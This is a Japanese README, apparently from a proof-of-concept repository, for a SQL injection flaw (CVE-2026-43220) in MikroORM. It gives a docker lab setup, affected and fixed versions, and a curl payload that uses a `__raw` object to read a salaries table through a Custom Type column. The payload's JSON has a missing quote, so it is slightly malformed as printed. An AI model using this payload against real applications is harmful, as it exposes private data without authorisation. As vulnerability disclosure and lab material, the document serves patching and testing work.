
MikroORMにおけるSQLインジェクション脆弱性
★ CVE-2026-43220 MikroORM SQLインジェクション PoC ★
https://github.com/user-attachments/assets/33724cfc-6151-47ff-9415-2f50c5124cd1
CVE-2026-43220 は、広く使用されている TypeScript/Node.js の ORM フレームワークである MikroORM における SQLインジェクション 脆弱性です。
__rawプロパティを含むユーザー提供の値が検証なしに Custom Type カラム に渡されると、MikroORM のisRaw()チェックがそれを信頼された内部の Raw SQL 式と認識し、攻撃者が制御するsql値を型変換やサニタイズを行わずに生成されたクエリへ直接挿入するため、意図しない任意の SQL の実行 が発生します。
| カテゴリ | バージョン |
|---|
| 脆弱 | MikroORM version ≤ 6.4.3 & 7.0.0 ≤ version ≤ 7.0.5 |
| 修正済み | MikroORM 6.4.4 & 7.0.6 |
docker build -t cve-2026-43220-mikroorm-vuln .
docker run --rm -it -p 3000:3000 --name mikroorm-vuln cve-2026-43220-mikroorm-vuln
脆弱な環境を起動した後、以下の手順に従って攻撃を再現します。
__raw を含む悪意のあるペイロードを送信するCustom Type カラムを対象とした __raw プロパティを含む JSON ボディを送信します。
curl -X POST http://localhost:3000/write \
-H "Content-Type: application/json" \
-d '{
"author":"x",
"title":"x,
"content": {
"__raw": true,
"sql": "(SELECT group_concat(name || ': ' || salary, ' / ') FROM salaries)"
}
}'
API がエラーなしで成功レスポンスを返すことを確認します。 これは MikroORM が悪意のあるペイロードを有効な値として受け入れたことを示します。
作成された投稿の content フィールドに、salaries テーブルからのクエリ結果
(例: Alice: 5000 / Bob: 7000 / ...) が含まれていることを確認します。
これは、無関係なテーブルのデータがエラーやアクセス制御違反なしに
レスポンスへサイレントに埋め込まれたことを裏付けます。
isRaw() にオリジン検証が導入され、外部から提供された __raw プロパティを拒否します__raw のような予期しないプロパティを拒否する